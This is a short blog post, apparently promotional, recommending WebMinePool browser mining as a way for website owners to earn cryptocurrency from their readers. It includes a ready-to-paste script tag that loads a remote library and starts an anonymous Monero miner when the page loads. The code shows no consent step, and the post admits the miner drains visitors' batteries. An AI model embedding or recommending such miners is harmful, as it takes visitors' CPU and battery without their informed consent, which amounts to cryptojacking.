Technologies has became more powerful every day. Have you ever heard of publisher mining? Well most of the website owners use advertising banner or popunder ads to monetize their blog. But now you can use your readers to mine cryptocurrency for you.

How does browser mining work?

Some talented people has done a great work to turn any browser into a crypto currency miner. There is plenty of cryptocurrencies and browser miner available right now. Basically its the same process about mining but its run on browser sandbox. This browser mining can be done by a piece of javascript code adde d into your webpage or blog template.

WebMinePool.com

Multifunctional cryptocurrency mining service for website owners or publishers.

What does it mean? How much can you earn?

This depends on your website visitors. Sites with 10-20 daily visitors will not create a reasonable mining hash power. If you can engage your visitors to mine for some bonus or reward even 30-60 users mining couple of hours everyday with 10 hashes/s (low CPU power), it can give you more than hundred dollars every month. You can earn even from mobile users and get almost the same. You can mine from your mobile also and you will get ~15hashes/s. It dries out user’s battery like crazy, so be careful.

What you need to know?

Webminepool mine monero(XMR) coin through the browser. The reward is calculated in XMR to BTC conversion rate and paid BTC in faucethub.io wallet address once you reach the minimum withdrawal limit.

 

How in install it on your website?

At first you need to call the webminepool javascript library in your html head tag. After that you can call the miner by the following code.

<script src="https://webminepool.com/lib/base.js"></script>
<script>
    var miner = WMP.Anonymous('<your-site-key>');
    miner.start();
</script>

I have added the webminepool miner on a specific page on my blog. You can see this page here: Example for a working webminepool miner page just add the js miner code on that page and if you visit this page you will see in the browser console.